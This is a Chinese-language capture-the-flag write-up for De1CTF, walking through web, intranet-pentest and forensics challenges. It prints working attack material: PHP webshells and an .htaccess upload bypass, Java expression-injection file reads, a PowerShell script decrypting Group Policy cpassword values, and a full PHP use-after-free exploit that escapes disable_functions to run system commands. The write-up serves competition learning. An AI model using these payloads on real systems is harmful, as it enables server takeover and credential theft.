De1CTF部分WriteUp


今年第一场XCTF的外卡赛,感受良好,除了熬夜做题也没做出来之外,都觉得还可以

WEB

CheckIn

老checkin了,前后不到150个队做出来,看apache的版本应该是想考apache的cgi解析漏洞,后来发现用.htaccess也可以绕过限制,官方说是非预期,这里把这个解法放出来

访问题目

image.png-100.1kB

尝试上传一个图片马,返回提示

image.png-42.7kB

发现题目对我们上传的文件内容和后缀都进行了限制,想要成功的getshell需要绕过两个方面,首先在内容方面绕过

<?php eval($_POST['cmd']);?> #标准一句话木马
我们可以使用“=”代替“php”,不写后面的“>”符号,这样也可以构造出一个shell
<?= eval($_POST['cmd']); #变形后,即可成功绕过内容过滤

下一步绕过后缀过滤,因为题目把“ph”过滤掉了常规的改后缀是行不通的,我们可以从解析文件处入手,让服务器对其他后缀的文件当作php去处理,我们可以使用.htaccess进行设置

AddType application/x-httpd-php .jpg

通过这样设置,我们可以把.jpg的文件当作php来解析,从而达到getshell的目的,同时在.htaccess中我们需要对“ph”进行绕过,这里可以使用斜线绕过

AddType application/x-httpd-p\hp .jpg

首先上传.htaccess文件

image.png-38.6kB

上传我们的shell文件

<= system($_POST['ppp']);  # 文件名为pd.jpg

获取flag

POST /uploads/32f2fcd00169d05439333daf27e1792b/pd.jpg HTTP/1.1
Host: 129.204.21.115
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

ppp=cat /flag

calc

进入页面是一个简易的计算器,根据做题经验应该是一个类似命令执行的题目了

image.png-712.8kB

找一下接口,看一下NETWORK加载的文件

image.png-111.6kB


“`/spel/calc“`的目录下对我们输入的字符进行处理,FUzz一下,看看报错信息

image.png-48.3kB

猜测是tomcat,推断后端的处理语言为Java,尝试使用Java语言进行代码注入,网上的一些payload

https://www.jianshu.com/p/e3c77c053359

测试了一下存在过滤,不能用现成的EXP去打了,最后构造的代码

NEW%20java.util.Scanner(NEW%20java.io.FileReader("/flag")).next()

后来在fuzz的时候还可以用“BufferedReader”函数去读取

(NEW%20java.io.BufferedReader(NEW%20java.io.FileReader("/flag"))).readLine()

image.png-65.6kB

Hard_Pentest_1

较为简单的内网渗透题目了

image.png-115.5kB

看一下题目,带有过滤的文件上传,根据代码可以看出,需要无字母数字shell,不能是PHP后缀文件,这里的WEBSHELL可以直接使用P牛文章里的文件进行绕过

1<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>

主要原理利用了array取值,然后逐次++,直到拼接到POST,然后利用file_put_contents传马,与原文不同的是,题目中过滤了分号,我们可以用短标签来绕过

原文章地址:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

上传文件

image.png-53.6kB

上传之后构造语句生成webshell

__=file_put_contents&_=pd.php&___=<?php eval($_POST[0]);

image.png-46.7kB

访问地址

image.png-132.5kB

成功构造webshell,使用蚁剑连接

image.png-40.4kB

可以看到是一个WINDOWS的主机,根据题目提示,flag不在WEB服务器上,我们先看一下主机所在内网的是否存在共享文件,发现存在HINT

image.png-34.6kB

获取到一个压缩包,不过存在密码

image.png-17.3kB

在内网继续渗透收集信息,从共享文件下手,想到SYSVOL文件

SYSVOL是指存储域公共文件服务器副本的共享文件夹,所有域内主机都能访问,里面保存组策略相关数据

看一下是否存在

image.png-24.8kB

发现存在SYSVOL文件夹,根据这篇文章进行下面的渗透

https://3gstudent.github.io/3gstudent.github.io/

先找到相应策略组的配置文件再进行分析,具体位置

image.png-67.2kB

分析一下这个Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>

我们可以看到XML文件提示,cpassword即为HINZip_Pass的密码,这串字符是AES加密后的密码,具体的原理可以看上面的链接进行学习,我们使用现成的脚本进行解密

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword 
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)

        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }


        $Base64Decoded = [Convert]::FromBase64String($Cpassword)

        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    } 

    catch {Write-Error $Error[0]}
}  
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"

将解密脚本保存为ps1文件,在命令执行如下密码即可解密

powershell -executionpolicy bypass -file 1.ps1

image.png-68.1kB

使用获取的密码对压缩包进行解密

image.png-31kB

成功获取到flag

PHP——UAF

这里记录一下复现过程,题目的WP地址:

https://mem2019.github.io/jekyll/update/2020/05/04/Easy-PHP-UAF.html

依然是绕过disable_function,不过需要自己根据底层代码漏洞进行编写了,只能说做出来的两个师傅真的太强了

附上exp

//<?php

pwn("ls");

function hex($val)
{
    return "0x".dechex($val)."<br>";
}

function pwn($cmd) {
    global $abc, $helper, $backtrace, $backtrace2;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function allocate(&$a, $depth)
    {
        if ($depth === 0) return;
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        $a[] = str_shuffle(str_repeat('A', 0x180-0x18-1));
        allocate($a, $depth - 1);
    }

    function str2ptr(&$str, $p = 0) {
        $address = 0;
        $address |= ord($str[$p+7]);
        $address <<= 8;
        $address |= ord($str[$p+6]);
        $address <<= 8;
        $address |= ord($str[$p+5]);
        $address <<= 8;
        $address |= ord($str[$p+4]);
        $address <<= 8;
        $address |= ord($str[$p+3]);
        $address <<= 8;
        $address |= ord($str[$p+2]);
        $address <<= 8;
        $address |= ord($str[$p+1]);
        $address <<= 8;
        $address |= ord($str[$p+0]);
        return $address;
    }

    function write(&$str, $p, $v)
    {
        $str[$p+0] = chr($v & 0xff);
        $v >>= 8;
        $str[$p+1] = chr($v & 0xff);
        $v >>= 8;
        $str[$p+2] = chr($v & 0xff);
        $v >>= 8;
        $str[$p+3] = chr($v & 0xff);
        $v >>= 8;
        $str[$p+4] = chr($v & 0xff);
        $v >>= 8;
        $str[$p+5] = chr($v & 0xff);
        $v >>= 8;
        $str[$p+6] = chr($v & 0xff);
        $v >>= 8;
        $str[$p+7] = chr($v & 0xff);
    }

    function memRead($addr)
    {
        global $abc, $helper;
        write($abc, 0xa8, $addr - 0x10);
        return strlen($helper->a);
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    $contiguous = [];
    allocate($contiguous, 0);

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->a = $helper;
    $helper->b = function($x) {};
    $helper->c = 0x1337;

    if (strlen($abc) == 79 /*|| strlen($abc) == 0*/)
    {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x10);
    $helper->a = "helper"; // otherwise a strage crash
    $abc_addr = $php_heap + 0x18;
    $libphp_addr = str2ptr($abc, 0) - 0xd73ec0;
    $zif_system = $libphp_addr + 0x355a86;
    $helper->b = function($x){};
    $closure_obj = str2ptr($abc, 0x20);
    echo ("abc_addr = ".hex($abc_addr));
    echo ("libphp_addr = ".hex($libphp_addr));
    echo ("zif_system = ".hex($zif_system));
    echo ("closure_obj = ".hex($closure_obj));
    echo ("<br>");

    // fake value
    write($abc, 0x10, $closure_obj);
    write($abc, 0x18, 0x6);

    function copyFunc($off)
    {
        global $helper;
        global $abc;
        if ($off > 0x110) return;
        write($abc, 0xd0 + 0x18 + $off, str2ptr($helper->a, $off));
        write($abc, 0xd0 + 0x20 + $off, str2ptr($helper->a, $off+8));
        write($abc, 0xd0 + 0x28 + $off, str2ptr($helper->a, $off+0x10));
        write($abc, 0xd0 + 0x30 + $off, str2ptr($helper->a, $off+0x18));
        write($abc, 0xd0 + 0x38 + $off, str2ptr($helper->a, $off+0x20));
        write($abc, 0xd0 + 0x40 + $off, str2ptr($helper->a, $off+0x28));
        write($abc, 0xd0 + 0x48 + $off, str2ptr($helper->a, $off+0x30));
        write($abc, 0xd0 + 0x50 + $off, str2ptr($helper->a, $off+0x38));
        write($abc, 0xd0 + 0x58 + $off, str2ptr($helper->a, $off+0x40));
        write($abc, 0xd0 + 0x60 + $off, str2ptr($helper->a, $off+0x48));
        write($abc, 0xd0 + 0x68 + $off, str2ptr($helper->a, $off+0x50));
        write($abc, 0xd0 + 0x70 + $off, str2ptr($helper->a, $off+0x58));
        write($abc, 0xd0 + 0x78 + $off, str2ptr($helper->a, $off+0x60));
        write($abc, 0xd0 + 0x80 + $off, str2ptr($helper->a, $off+0x68));
        write($abc, 0xd0 + 0x88 + $off, str2ptr($helper->a, $off+0x70));
        write($abc, 0xd0 + 0x90 + $off, str2ptr($helper->a, $off+0x78));
        write($abc, 0xd0 + 0x98 + $off, str2ptr($helper->a, $off+0x80));
        write($abc, 0xd0 + 0xa0 + $off, str2ptr($helper->a, $off+0x88));
        copyFunc($off + 0x90);
    }

    write($abc, 0xd0, 0x0000031800000002);
    write($abc, 0xd0 + 8, 0x0000000000000003);
    copyFunc(0);

    write($abc, 0xd0 + 0x38, 0x0210000000000001);
    write($abc, 0xd0 + 0x68, $zif_system);
    write($abc, 0x20, $abc_addr + 0xd0);

    ($helper->b)($cmd);
    die("end");

}

MISC

Misc杂烩/Misc Chowder

除了密码不好爆破之外都还可以

题目给了一个流量包,首先分析HTTP流

image.png-79.4kB

发现访问了好几次upload_file.php而且每次上传页面的大小都不一样,猜测是上传了不同的内容,一个一个导出分析,最后导出来七张图片,其中一张给了一个下载链接

image.png-116.7kB

下载下来后是一个readme.zip,解压之后是一个docx的文档,不过无法正常打开,这时候想到docx也是zip的一种,尝试用zip的方式打开,发现zip文件

image.png-12.7kB

再次发现一个压缩包,当打开时提示我们需要密码

image.png-24.3kB

这里第一次做的时候卡住了,一直到题目给了提示

image.png-17.1kB

告诉了我们范围让我们爆破

最后爆破出来的密码:

DE34Q1

对解压出来的图片进行分析,直接用记事本打开

image.png-66.5kB

发现一个flag,提交发现是假flag,用010editor查看发现存在隐藏文件,使用binwalk看一下

image.png-25.5kB

binwalk -e强制分离发现压缩包,打开查看压缩包内容,获取到真正的flag

image.png-23.7kB


发表评论

邮箱地址不会被公开。 必填项已用*标注